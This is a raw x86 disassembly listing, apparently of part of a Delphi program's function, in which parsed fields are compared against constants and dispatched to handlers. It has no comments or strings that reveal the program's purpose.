call fcn.004c2ae0
movzx edx, word [0x5aeaa8]
mov eax, dword [ebp - 0x668]
call fcn.004c2ba4
lea eax, [ebp - 0x1298]
push eax
lea ecx, [ebp - 0x129c]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x129c]
mov ecx, 9
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x1298]
lea edx, [ebp - 0x1294]
call fcn.0058ff30
mov eax, dword [ebp - 0x1294]
mov edx, 0x5ae048
call fcn.00405ec0
jne 0x59d14e
mov eax, dword [ebp - 0x668]
call fcn.004c278c
mov edx, eax
or dx, word [0x5aeaac]
mov eax, dword [ebp - 0x668]
call fcn.004c2ba4
lea eax, [ebp - 0x12a4]
push eax
lea ecx, [ebp - 0x12a8]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x12a8]
mov ecx, 8
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x12a4]
lea edx, [ebp - 0x12a0]
call fcn.0058ff30
mov eax, dword [ebp - 0x12a0]
mov edx, 0x5ae048
call fcn.00405ec0
jne 0x59d1c2
mov eax, dword [ebp - 0x668]
call fcn.004c278c
mov edx, eax
or dx, word [0x5aeab0]
mov eax, dword [ebp - 0x668]
call fcn.004c2ba4
mov eax, dword [ebp - 0x668]
call fcn.004c2894
call fcn.004c2ea8
mov eax, dword [ebp - 0x668]
call fcn.004c2894
call fcn.004c2e10
mov dword [ebp - 0x66c], eax
lea eax, [ebp - 0x12b0]
push eax
lea ecx, [ebp - 0x12b4]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x12b4]
mov ecx, 5
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x12b0]
lea edx, [ebp - 0x12ac]
call fcn.0058ff30
mov eax, dword [ebp - 0x12ac]
mov edx, 0x5ae048
call fcn.00405ec0
jne 0x59d65a
mov dl, 2
mov eax, dword [ebp - 0x66c]
call fcn.004c323c
lea edx, [ebp - 0x534]
mov eax, 0x409
call fcn.00410a98
xor eax, eax
push ebp
push 0x59d2dc
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x12bc]
push eax
lea ecx, [ebp - 0x12c0]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x12c0]
mov ecx, 7
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x12bc]
lea edx, [ebp - 0x12b8]
call fcn.0058ff30
mov eax, dword [ebp - 0x12b8]
lea edx, [ebp - 0x534]
call fcn.0040ea44
add esp, 0xfffffff8
fstp qword [esp]
wait
mov eax, dword [ebp - 0x66c]
call fcn.004c3218
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x59d2fd
mov word [ebp - 0x674], 1
push 1
push 1
lea eax, [ebp - 0x12c8]
push eax
lea ecx, [ebp - 0x12cc]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x12cc]
mov ecx, 6
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x12c8]
lea edx, [ebp - 0x12c4]
call fcn.0058ff30
mov edx, dword [ebp - 0x12c4]
xor ecx, ecx
mov eax, 0x5aeabc
call fcn.004ad7f4
test eax, eax
je 0x59d371
mov word [ebp - 0x672], 2
jmp 0x59d65a
push 1
push 1
lea eax, [ebp - 0x12d4]
push eax
lea ecx, [ebp - 0x12d8]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x12d8]
mov ecx, 6
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x12d4]
lea edx, [ebp - 0x12d0]
call fcn.0058ff30
mov edx, dword [ebp - 0x12d0]
xor ecx, ecx
mov eax, 0x5aeacc
call fcn.004ad7f4
test eax, eax
je 0x59d3dc
mov word [ebp - 0x672], 4
jmp 0x59d65a
push 1
push 1
lea eax, [ebp - 0x12e0]
push eax
lea ecx, [ebp - 0x12e4]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x12e4]
mov ecx, 6
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x12e0]
lea edx, [ebp - 0x12dc]
call fcn.0058ff30
mov edx, dword [ebp - 0x12dc]
xor ecx, ecx
mov eax, 0x5aeadc
call fcn.004ad7f4
test eax, eax
je 0x59d447
mov word [ebp - 0x672], 8
jmp 0x59d65a
push 1
push 1
lea eax, [ebp - 0x12ec]
push eax
lea ecx, [ebp - 0x12f0]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x12f0]
mov ecx, 6
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x12ec]
lea edx, [ebp - 0x12e8]
call fcn.0058ff30
mov edx, dword [ebp - 0x12e8]
xor ecx, ecx
mov eax, 0x5aeaf0
call fcn.004ad7f4
test eax, eax
je 0x59d4b2
mov word [ebp - 0x672], 0x10
jmp 0x59d65a
push 1
push 1
lea eax, [ebp - 0x12f8]
push eax
lea ecx, [ebp - 0x12fc]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x12fc]
mov ecx, 6
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x12f8]
lea edx, [ebp - 0x12f4]
call fcn.0058ff30
mov edx, dword [ebp - 0x12f4]
xor ecx, ecx
mov eax, 0x5aeb04
call fcn.004ad7f4
test eax, eax
je 0x59d51d
mov word [ebp - 0x672], 0x20
jmp 0x59d65a
push 1
push 1
lea eax, [ebp - 0x1304]
push eax
lea ecx, [ebp - 0x1308]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1308]
mov ecx, 6
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x1304]
lea edx, [ebp - 0x1300]
call fcn.0058ff30
mov edx, dword [ebp - 0x1300]
xor ecx, ecx
mov eax, 0x5aeb14
call fcn.004ad7f4
test eax, eax
je 0x59d588
mov word [ebp - 0x672], 0x40
jmp 0x59d65a
push 1
push 1
lea eax, [ebp - 0x1310]
push eax
lea ecx, [ebp - 0x1314]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1314]
mov ecx, 6
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x1310]
lea edx, [ebp - 0x130c]
call fcn.0058ff30
mov edx, dword [ebp - 0x130c]
xor ecx, ecx
mov eax, 0x5aeb28
call fcn.004ad7f4
test eax, eax
je 0x59d5f0
mov word [ebp - 0x672], 1
jmp 0x59d65a
push 1
push 1
lea eax, [ebp - 0x131c]
push eax
lea ecx, [ebp - 0x1320]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1320]
mov ecx, 6
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x131c]
lea edx, [ebp - 0x1318]
call fcn.0058ff30
mov edx, dword [ebp - 0x1318]
xor ecx, ecx
mov eax, 0x5aeb38
call fcn.004ad7f4
test eax, eax
je 0x59d65a
mov dl, 1
mov eax, dword [ebp - 0x66c]
call fcn.004c323c
lea eax, [ebp - 0x1328]
push eax
lea ecx, [ebp - 0x132c]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x132c]
mov ecx, 4
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x1328]
lea edx, [ebp - 0x1324]
call fcn.0058ff30
mov eax, dword [ebp - 0x1324]
mov edx, 0x5ae048
call fcn.00405ec0
jne 0x59d6bc
mov dl, 7
mov eax, dword [ebp - 0x66c]
call fcn.004c323c
lea eax, [ebp - 0x1334]
push eax
lea ecx, [ebp - 0x1338]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1338]
mov ecx, 3
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x1334]
lea edx, [ebp - 0x1330]
call fcn.0058ff30
mov eax, dword [ebp - 0x1330]
mov edx, 0x5ae048
call fcn.00405ec0
jne 0x59d71e
mov dl, 6
mov eax, dword [ebp - 0x66c]
call fcn.004c323c
call fcn.0040d308
add esp, 0xfffffff8
fstp qword [esp]
wait
mov eax, dword [ebp - 0x66c]
call fcn.004c31ec
lea edx, [ebp - 0x674]
mov eax, dword [ebp - 0x66c]
call fcn.004c320c
mov eax, dword [ebp - 0x66c]
call fcn.004c3240
mov eax, dword [ebp - 0x668]
call fcn.004c2894
call fcn.004c3130
lea eax, [ebp - 0x1340]
push eax
lea ecx, [ebp - 0x1344]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1344]
mov ecx, 0xd
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x1340]
lea edx, [ebp - 0x133c]
call fcn.0058ff30
mov edx, dword [ebp - 0x133c]
lea eax, [ebp - 0x45c]
call fcn.00406438
lea eax, [ebp - 0x134c]
push eax
lea ecx, [ebp - 0x1350]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1350]
mov ecx, 0xe
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x134c]
lea edx, [ebp - 0x1348]
call fcn.0058ff30
mov edx, dword [ebp - 0x1348]
lea eax, [ebp - 0x460]
call fcn.00406438
mov ecx, dword [ebp - 0x460]
mov edx, dword [ebp - 0x45c]
mov eax, dword [ebp - 0x668]
call fcn.004c29d4
xor eax, eax
push ebp
push 0x59d843
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x668]
call fcn.004c291c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x59d84d
mov eax, dword [0x5d5868]
mov eax, dword [eax]
mov eax, dword [eax + 0x388]
call fcn.004c1d78
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x59d873
call fcn.00405498
jmp 0x5ad501
mov eax, dword [ebp - 0x438]
mov edx, 0x5aeb4c
call fcn.00405ec0
jne 0x59db08
mov eax, dword [ebp - 0x54c]
dec eax
push eax
lea eax, [ebp - 0x418]
push eax
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp - 0x53c]
mov eax, dword [ebp - 0x538]
call fcn.005b2f40
mov edx, dword [ebp - 0x54c]
dec edx
mov ecx, 0x5ae048
mov eax, dword [0x5dccd4]
mov ebx, dword [eax]
call dword [ebx + 0x20]
lea eax, [ebp - 0x1354]
mov ecx, dword [ebp - 0x418]
mov edx, 0x5ae4dc
call fcn.00405db0
mov eax, dword [ebp - 0x1354]
mov edx, 0x5ae048
call fcn.0058ef14
push ebp
lea eax, [ebp - 0x1358]
mov ecx, dword [ebp - 0x418]
mov edx, 0x5ae4dc
call fcn.00405db0
mov eax, dword [ebp - 0x1358]
call fcn.0059405c
pop ecx
push ebp
mov eax, 0x5ae048
call fcn.0059405c
pop ecx
cmp dword [0x5dcd78], 2
jne 0x59da31
lea ecx, [ebp - 0x135c]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp + 0x14]
mov ebx, dword [eax]
call dword [ebx + 0xc]
cmp dword [ebp - 0x135c], 0
je 0x59da31
xor eax, eax
push ebp
push 0x59d9d8
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x3e4]
push eax
lea eax, [ebp - 0x3ec]
push eax
lea eax, [ebp - 0x3f0]
push eax
lea eax, [ebp - 0x3f4]
push eax
lea eax, [ebp - 0x3f8]
push eax
lea eax, [ebp - 0x621]
push eax
lea ecx, [ebp - 0x1360]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp + 0x14]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x1360]
mov ecx, dword [ebp - 0x3e8]
mov edx, dword [ebp - 0x1d8]
call fcn.0059022c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x59da31
lea eax, [ebp - 0x1368]
push eax
lea ecx, [ebp - 0x136c]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x136c]
mov ecx, 3
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x1368]
lea edx, [ebp - 0x3c0]
call fcn.005939c8
lea edx, [ebp - 0x1370]
mov eax, dword [ebp - 0x3c0]
call fcn.0058ff30
mov eax, dword [ebp - 0x1370]
push eax
push 0x5ae900
push dword [ebp - 0x418]
push 0x5ae90c
lea eax, [ebp - 0x1374]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x1374]
pop edx
call fcn.0058ef14
push ebp
push 0x5ae900
push dword [ebp - 0x418]
push 0x5ae90c
lea eax, [ebp - 0x1378]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x1378]
call fcn.0059405c
pop ecx
push ebp
lea edx, [ebp - 0x137c]
mov eax, dword [ebp - 0x3c0]
call fcn.0058ff30
mov eax, dword [ebp - 0x137c]
call fcn.0059405c
pop ecx
jmp 0x5ad501
mov eax, dword [ebp - 0x438]
mov edx, 0x5aeb64
call fcn.00405ec0
jne 0x59dd79
mov eax, dword [ebp - 0x54c]
dec eax
push eax
lea eax, [ebp - 0x418]
push eax
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp - 0x53c]
mov eax, dword [ebp - 0x538]
call fcn.005b2f40
mov edx, dword [ebp - 0x54c]
dec edx
mov ecx, 0x5ae048
mov eax, dword [0x5dccd4]
mov ebx, dword [eax]
call dword [ebx + 0x20]
lea eax, [ebp - 0x1380]
mov ecx, dword [ebp - 0x418]
mov edx, 0x5ae4dc
call fcn.00405db0
mov eax, dword [ebp - 0x1380]
mov edx, 0x5ae048
call fcn.0058ef14
push ebp
lea eax, [ebp - 0x1384]
mov ecx, dword [ebp - 0x418]
mov edx, 0x5ae4dc
call fcn.00405db0
mov eax, dword [ebp - 0x1384]
call fcn.0059405c
pop ecx
push ebp
mov eax, 0x5ae048
call fcn.0059405c
pop ecx
cmp dword [0x5dcd78], 2
jne 0x59dca2
lea ecx, [ebp - 0x1388]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp + 0x14]
mov ebx, dword [eax]
call dword [ebx + 0xc]
cmp dword [ebp - 0x1388], 0
je 0x59dca2
xor eax, eax
push ebp
push 0x59dc49
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x3e4]
push eax
lea eax, [ebp - 0x3ec]
push eax
lea eax, [ebp - 0x3f0]
push eax
lea eax, [ebp - 0x3f4]
push eax
lea eax, [ebp - 0x3f8]
push eax
lea eax, [ebp - 0x621]
push eax
lea ecx, [ebp - 0x138c]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp + 0x14]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x138c]
mov ecx, dword [ebp - 0x3e8]
mov edx, dword [ebp - 0x1d8]
call fcn.0059022c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x59dca2
lea eax, [ebp - 0x1394]
push eax
lea ecx, [ebp - 0x1398]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1398]
mov ecx, 3
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x1394]
lea edx, [ebp - 0x3c0]
call fcn.005939c8
lea edx, [ebp - 0x139c]
mov eax, dword [ebp - 0x3c0]
call fcn.0058ff30
mov eax, dword [ebp - 0x139c]
push eax
push 0x5ae900
push dword [ebp - 0x418]
push 0x5ae90c
lea eax, [ebp - 0x13a0]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x13a0]
pop edx
call fcn.0058ef14
push ebp
push 0x5ae900
push dword [ebp - 0x418]
push 0x5ae90c
lea eax, [ebp - 0x13a4]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x13a4]
call fcn.0059405c
pop ecx
push ebp
lea edx, [ebp - 0x13a8]
mov eax, dword [ebp - 0x3c0]
call fcn.0058ff30
mov eax, dword [ebp - 0x13a8]
call fcn.0059405c
pop ecx
jmp 0x5ad501
mov eax, dword [ebp - 0x438]
mov edx, 0x5aeb80
call fcn.00405ec0
jne 0x59e03f
lea eax, [ebp - 0x13ac]
push eax
lea ecx, [ebp - 0x13b0]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x13b0]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x13ac]
lea edx, [ebp - 0x3d0]
call fcn.005939c8
cmp dword [0x5dcd60], 0
je 0x59de4b
push 0
lea eax, [ebp - 0x13b8]
push eax
lea eax, [ebp - 0x13bc]
push eax
lea ecx, [ebp - 0x13c0]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x13c0]
xor ecx, ecx
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov edx, dword [ebp - 0x13bc]
mov ecx, 1
mov eax, dword [ebp - 0x3d0]
call fcn.005b2fe8
mov eax, dword [ebp - 0x13b8]
lea edx, [ebp - 0x13b4]
call fcn.005939c8
mov edx, dword [ebp - 0x13b4]
lea eax, [ebp - 0x3d0]
call fcn.00405b30
mov eax, dword [ebp - 0x54c]
dec eax
push eax
lea eax, [ebp - 0x418]
push eax
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp - 0x53c]
mov eax, dword [ebp - 0x538]
call fcn.005b2f40
mov edx, dword [ebp - 0x54c]
dec edx
mov ecx, 0x5ae048
mov eax, dword [0x5dccd4]
mov ebx, dword [eax]
call dword [ebx + 0x20]
lea eax, [ebp - 0x13c4]
mov ecx, dword [ebp - 0x418]
mov edx, 0x5ae4dc
call fcn.00405db0
mov eax, dword [ebp - 0x13c4]
mov edx, 0x5ae048
call fcn.0058ef14
push ebp
lea eax, [ebp - 0x13c8]
mov ecx, dword [ebp - 0x418]
mov edx, 0x5ae4dc
call fcn.00405db0
mov eax, dword [ebp - 0x13c8]
call fcn.0059405c
pop ecx
push ebp
mov eax, 0x5ae048
call fcn.0059405c
pop ecx
lea edx, [ebp - 0x13cc]
mov eax, dword [ebp - 0x3d0]
call fcn.0058ff30
mov eax, dword [ebp - 0x13cc]
push eax
push 0x5ae900
push dword [ebp - 0x418]
push 0x5ae90c
lea eax, [ebp - 0x13d0]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x13d0]
pop edx
call fcn.0058ef14
push ebp
push 0x5ae900
push dword [ebp - 0x418]
push 0x5ae90c
lea eax, [ebp - 0x13d4]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x13d4]
call fcn.0059405c
pop ecx
push ebp
lea edx, [ebp - 0x13d8]
mov eax, dword [ebp - 0x3d0]
call fcn.0058ff30
mov eax, dword [ebp - 0x13d8]
call fcn.0059405c
pop ecx
lea eax, [ebp - 0x13dc]
push eax
lea ecx, [ebp - 0x13e0]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x13e0]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x13dc]
lea edx, [ebp - 0x3c0]
call fcn.005939c8
lea edx, [ebp - 0x13e4]
mov eax, dword [ebp - 0x3c0]
call fcn.0058ff30
mov eax, dword [ebp - 0x13e4]
push eax
push 0x5ae900
push dword [ebp - 0x418]
push 0x5ae918
lea eax, [ebp - 0x13e8]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x13e8]
pop edx
call fcn.0058ef14
push ebp
push 0x5ae900
push dword [ebp - 0x418]
push 0x5ae918
lea eax, [ebp - 0x13ec]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x13ec]
call fcn.0059405c
pop ecx
push ebp
lea edx, [ebp - 0x13f0]
mov eax, dword [ebp - 0x3c0]
call fcn.0058ff30
mov eax, dword [ebp - 0x13f0]
call fcn.0059405c
pop ecx
jmp 0x5ad501
mov eax, dword [ebp - 0x438]
mov edx, 0x5aeb98
call fcn.00405ec0
jne 0x59e0e8
mov eax, dword [ebp - 0x54c]
dec eax
push eax
lea eax, [ebp - 0x418]
push eax
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp - 0x53c]
mov eax, dword [ebp - 0x538]
call fcn.005b2f40
lea eax, [ebp - 0x13f4]
mov ecx, dword [ebp - 0x418]
mov edx, 0x5ae4dc
call fcn.00405db0
mov eax, dword [ebp - 0x13f4]
mov edx, 0x5ae048
call fcn.0058ef14
push ebp
lea eax, [ebp - 0x13f8]
mov ecx, dword [ebp - 0x418]
mov edx, 0x5ae4dc
call fcn.00405db0
mov eax, dword [ebp - 0x13f8]
call fcn.0059405c
pop ecx
push ebp
mov eax, 0x5ae048
call fcn.0059405c
pop ecx
mov edx, dword [ebp - 0x54c]
dec edx
mov ecx, 0x5ae048
mov eax, dword [0x5dccd4]
mov ebx, dword [eax]
call dword [ebx + 0x20]
jmp 0x5ad501
mov eax, dword [ebp - 0x438]
mov edx, 0x5aebb0
call fcn.00405ec0
jne 0x59e359
mov eax, dword [ebp - 0x54c]
dec eax
push eax
lea eax, [ebp - 0x418]
push eax
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp - 0x53c]
mov eax, dword [ebp - 0x538]
call fcn.005b2f40
mov edx, dword [ebp - 0x54c]
dec edx
mov ecx, 0x5ae048
mov eax, dword [0x5dccd4]
mov ebx, dword [eax]
call dword [ebx + 0x20]
lea eax, [ebp - 0x13fc]
mov ecx, dword [ebp - 0x418]
mov edx, 0x5ae4dc
call fcn.00405db0
mov eax, dword [ebp - 0x13fc]
mov edx, 0x5ae048
call fcn.0058ef14
push ebp
lea eax, [ebp - 0x1400]
mov ecx, dword [ebp - 0x418]
mov edx, 0x5ae4dc
call fcn.00405db0
mov eax, dword [ebp - 0x1400]
call fcn.0059405c
pop ecx
push ebp
mov eax, 0x5ae048
call fcn.0059405c
pop ecx
cmp dword [0x5dcd78], 2
jne 0x59e282
lea ecx, [ebp - 0x1404]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp + 0x14]
mov ebx, dword [eax]
call dword [ebx + 0xc]
cmp dword [ebp - 0x1404], 0
je 0x59e282
xor eax, eax
push ebp
push 0x59e229
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x3e4]
push eax
lea eax, [ebp - 0x3ec]
push eax
lea eax, [ebp - 0x3f0]
push eax
lea eax, [ebp - 0x3f4]
push eax
lea eax, [ebp - 0x3f8]
push eax
lea eax, [ebp - 0x621]
push eax
lea ecx, [ebp - 0x1408]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp + 0x14]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x1408]
mov ecx, dword [ebp - 0x3e8]
mov edx, dword [ebp - 0x1d8]
call fcn.0059022c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x59e282
lea eax, [ebp - 0x1410]
push eax
lea ecx, [ebp - 0x1414]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1414]
mov ecx, 4
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x1410]
lea edx, [ebp - 0x3c0]
call fcn.005939c8
lea edx, [ebp - 0x1418]
mov eax, dword [ebp - 0x3c0]
call fcn.0058ff30
mov eax, dword [ebp - 0x1418]
push eax
push 0x5ae900
push dword [ebp - 0x418]
push 0x5ae90c
lea eax, [ebp - 0x141c]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x141c]
pop edx
call fcn.0058ef14
push ebp
push 0x5ae900
push dword [ebp - 0x418]
push 0x5ae90c
lea eax, [ebp - 0x1420]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x1420]
call fcn.0059405c
pop ecx
push ebp
lea edx, [ebp - 0x1424]
mov eax, dword [ebp - 0x3c0]
call fcn.0058ff30
mov eax, dword [ebp - 0x1424]
call fcn.0059405c
pop ecx
jmp 0x5ad501
mov eax, dword [ebp - 0x438]
mov edx, 0x5aebcc
call fcn.00405ec0
jne 0x59eecc
lea eax, [ebp - 0x1428]
push eax
lea ecx, [ebp - 0x142c]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x142c]
mov ecx, 4
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x1428]
lea edx, [ebp - 0x3d0]
call fcn.005939c8
lea eax, [ebp - 0x1430]
push eax
lea ecx, [ebp - 0x1434]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1434]
mov ecx, 5
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x1430]
lea edx, [ebp - 0x3d4]
call fcn.005939c8
lea eax, [ebp - 0x1438]
push eax
lea ecx, [ebp - 0x143c]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x143c]
mov ecx, 6
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x1438]
lea edx, [ebp - 0x3d8]
call fcn.005939c8
lea eax, [ebp - 0x1440]
push eax
lea ecx, [ebp - 0x1444]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1444]
mov ecx, 9
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x1440]
lea edx, [ebp - 0x3dc]
call fcn.005939c8
lea eax, [ebp - 0x1448]
push eax
lea ecx, [ebp - 0x144c]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x144c]
mov ecx, 0xa
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x1448]
lea edx, [ebp - 0x3e0]
call fcn.005939c8
cmp dword [0x5dcd60], 0
je 0x59e6fb
push 0
lea eax, [ebp - 0x1454]
push eax
lea eax, [ebp - 0x1458]
push eax
lea ecx, [ebp - 0x145c]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x145c]
xor ecx, ecx
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov edx, dword [ebp - 0x1458]
mov ecx, 1
mov eax, dword [ebp - 0x3d0]
call fcn.005b2fe8
mov eax, dword [ebp - 0x1454]
lea edx, [ebp - 0x1450]
call fcn.005939c8
mov edx, dword [ebp - 0x1450]
lea eax, [ebp - 0x3d0]
call fcn.00405b30
push 0
lea eax, [ebp - 0x1464]
push eax
lea eax, [ebp - 0x1468]
push eax
lea ecx, [ebp - 0x146c]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x146c]
xor ecx, ecx
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov edx, dword [ebp - 0x1468]
mov ecx, 2
mov eax, dword [ebp - 0x3d4]
call fcn.005b2fe8
